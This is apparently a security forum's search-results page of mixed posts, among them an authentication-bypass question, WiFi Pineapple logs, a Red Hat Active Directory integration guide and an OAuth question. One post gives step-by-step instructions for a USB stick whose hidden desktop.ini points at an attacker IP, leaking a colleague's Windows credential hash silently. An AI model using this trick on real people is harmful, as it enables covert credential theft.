Search the Community

Is there any way to bypass HTTP authentication rather than brute-forcing ? Thanks🙂

Hello, fellas security people, I would like to know the best way to authenticate offline software. We would like to sell our client our server software, but we want to ensure that this software would not be duplicated or used by non authorized users. We are thinking about usb authentication key, but I want to know how other people think about this problem.

After watching the recent episode of Hak5 (2102) on Youtube, I was wondering if this smb hash grab method can be done without the duck and with a normal USB stick. The answer is YES. Bytewolf @kingbytewolf -= HowTo do it =- Grab any USB-Stick you have laying around Create a Directory Set the System attribute of this directory with attrib +s <dirname> Create a file called desktop.ini in this directory with the following content [.ShellClassInfo] IconResource=\\<YourIP>\tmp\demo.ico IconFile=%SystemRoot%\system32\shell32.dll IconIndex=-235 Save the desktop.ini as Unicode or UTF-8 file Set the attributes archive, hidden and system with attrib +a +h +s desktop.ini Preparation -> Done Put some RFCs in the directory. Fire up the smbserver and give the Stick to your colleague that really needs these RFCs. >:-D When he navigates to the drive you should have the hash delivered to your doorstep without any windows popping up.

I have no idea how this happened. The pineapple is trying to connect to my router through the networkmanager infusion over and over again with no luck. After an hour of unsuccessful auths I leave it alone and come back to it a half hour later and the pineapple connected to the router all on its own. This infusion worked perfectly on 2.7.4 no problem, and now I'm on 2.8.0 and this happens. Can anybody explain this? 01:59:13 Pineapple kern.info kernel: [ 1453.170000] wlan1: associated 01:59:13 Pineapple kern.info kernel: [ 1453.150000] wlan1: associate with *hiding mac address* (try 1/3) 01:59:13 Pineapple kern.info kernel: [ 1453.150000] wlan1: RX AssocResp from *hiding mac address* (capab=0x411 status=0 aid=1) 01:59:13 Pineapple kern.info kernel: [ 1453.130000] wlan1: send auth to *hiding mac address* (try 2/3) 01:59:13 Pineapple kern.info kernel: [ 1453.130000] wlan1: authenticated 01:59:10 Pineapple kern.info kernel: [ 1449.520000] wlan1: send auth to *hiding mac address* (try 1/3) 01:59:10 Pineapple kern.info kernel: [ 1449.370000] wlan1: authenticate with *hiding mac address* 01:59:08 Pineapple kern.info kernel: [ 1448.090000] wlan1: deauthenticating from *hiding mac address* by local choice (reason=3) 01:59:06 Pineapple kern.info kernel: [ 1446.130000] wlan1: send auth to *hiding mac address* (try 2/3) 01:59:03 Pineapple kern.info kernel: [ 1443.080000] wlan1: send auth to *hiding mac address* (try 1/3) 01:59:03 Pineapple kern.info kernel: [ 1442.930000] wlan1: authenticate with *hiding mac address* 01:59:02 Pineapple kern.info kernel: [ 1441.650000] wlan1: deauthenticating from *hiding mac address* by local choice (reason=3) 01:59:00 Pineapple kern.info kernel: [ 1439.680000] wlan1: send auth to *hiding mac address* (try 2/3) 01:58:57 Pineapple kern.info kernel: [ 1436.630000] wlan1: send auth to *hiding mac address* (try 1/3) 01:58:57 Pineapple kern.info kernel: [ 1436.280000] wlan1: authenticate with *hiding mac address*

Red Hat Linux Active Directory Integration Can Linux boxes exist in a Windows Active Directory domain? The answer has been yes for a long time. However until very recently this has been a very painful and tedious process. Exporting certifications, trial and error config files, changing security settings on domain controller, a major headache. Thankfully RedHat has actually realized this was a problem. It’s funny that while Server 2012 is already released RedHat just not added a simple method to integrate authentication with a Windows Active Directory domain. We are a release behind, better now than ever. The real OS of choice. NOTE: All Sample Configs are located at the bottom of this page. To start this article ONLY applied to: Red Hat Enterprise Linux 6.4 CENTOS 6.4 You can find out your verion by using cat /etc/system-release (CENTOS)cat/etc/redhat-release (Red Hat) If you are not familiar with SSSD(System Security Services Daemon) then I suggest you do some reading before you dive into this article. Also this is more gear towards Linux admins and not Windows admins. With these new changes you won’t have access your windows admin for anything, well unless you need that domain admin access of course. BEFORE WE DO ANYTHING ALWAYS BACKUP YOUR CONFIGS authconfig --savebackup=mybackup First to get started let’s check what version of SSSD you have installed on your box. NOTE: If a domain name is in CAPS it is on purpose. This was not done for show. rpm -q sssd You will need at least SSSD 1.9.2 for this. Let’s go ahead and setup all of the nessesary nss and pam config files. authconfig --enablesssd --ldapserver=ldap://dc1.youdomain.com --ldapbasedn="dc=YOURDOMAIN,dc=COM" --enablerfc2307bis --enablesssdauth --krb5kdc=dc1.youdomain.com --krb5realm=YOURDOMAIN.COM --disableforcelegacy --enablelocauthorize --enablemkhomedir --updateallvi /etc/krb5.conf[logging] default = FILE:/var/log/krb5libs.log kdc = FILE:/var/log/krb5kdc.log admin_server = FILE:/var/log/kadmind.log[libdefaults] default_realm = YOURDOMAIN.COM dns_lookup_realm = false dns_lookup_kdc = false ticket_lifetime = 24h renew_lifetime = 7d forwardable = true#These encryption types are required for ntvlmi and krb5i(packet signing)default_tgs_enctypes = rc4-hmac aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96default_tkt_enctypes = rc4-hmac aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96permitted_enctypes = rc4-hmac aes256-cts-hmac-sha1-96 aes128-cts-hmac-sha1-96 [realms] YOURDOMAIN.COM = { kdc = domaincontroller.yourdomain.com:88 admin_server = domaincontroller.yourdomain.com:749 default_domain = yourdomain.com }[domain_realm] .yourdomain.com = YOURDOMAIN.COM yourdomain.com = YOURDOMAIN.COM Next vi /etc/samba/smb.conf[global] workgroup = YOURDOMAIN client signing = yes client use spnego = yes kerberos method = secrets and keytab log file = /var/log/samba/%m.log realm = YOURDOMAIN.COM security = adsvi /etc/sssd/sssd.conf[sssd] config_file_version = 2 services = nss, pam domains = YOURDOMAIN.COM[nss] nss_filter_groups = root nss_filter_users = root nss_entry_cache_timeout = 30 nss_enum_cache_timeout = 30 [domain/YOURDOMAIN.COM]id_provider = ad ad_server=domaincontroller.yourdomain.com ad_domain=yourdomain.com Now you will need a active directory account with administrator privledges to add a machines to the domain. Before you run kinit make sure you update your time with a domain controller. ntpdate dc1.youdomain.com Once Time is synced continue with.. kinit administrator Type your password. Confirm that you have received a kerberos ticket but using klist If you do not see any tickets please refer to your logs. SSSD is some what helpful inside /var/log/messages Now we have a ticket we need to add this machine to the domain. net ads join -k If you receive a success message your new linux box should be inside active directory inside the default Computers Group. Verify with an Active Directory Admin to make sure your server object was created. Let’s run: service sssd restart If you did not receive any warning messages inside /var/log/messages we should be good to go. Test by running id yourusernamead and getent passwd yourusernamead You should be able to look up accounts at this point. Now the best part of this. Let’s setup Putty and SSHD to use your kerberos key to authenticate into your linux box. As you noted inside our sssd.conf we have added root accounts not to use AD authentication. First let’s make some changes to our SSHD configs. vi /etc/ssh/sshd_conf Make sure you have this line un commented GSSAPIAuthentication yesvi /etc/ssh/ssh_confGSSAPIAuthentication yes GSSAPIDelegateCredentials yes Also before trying to use Putty make sure you have a newer release and make sure your authentication settings are setup as follows: Make sure this is enabled. Now open a new session to your linux box. Type in your active directory username and press enter. If kerberos negotiation is successful you will NOT be prompted for a password. Happy Shelling Sample Config Files krb5.conf sssd.conf ssh_conf sshd_conf If you are a RedHat subscriber you can read their article on this subject here.

Hello all, Could you please share your valuable knowledge to understand the difference between OAuth and OpenID Authentication mechanism? Regards, Darshan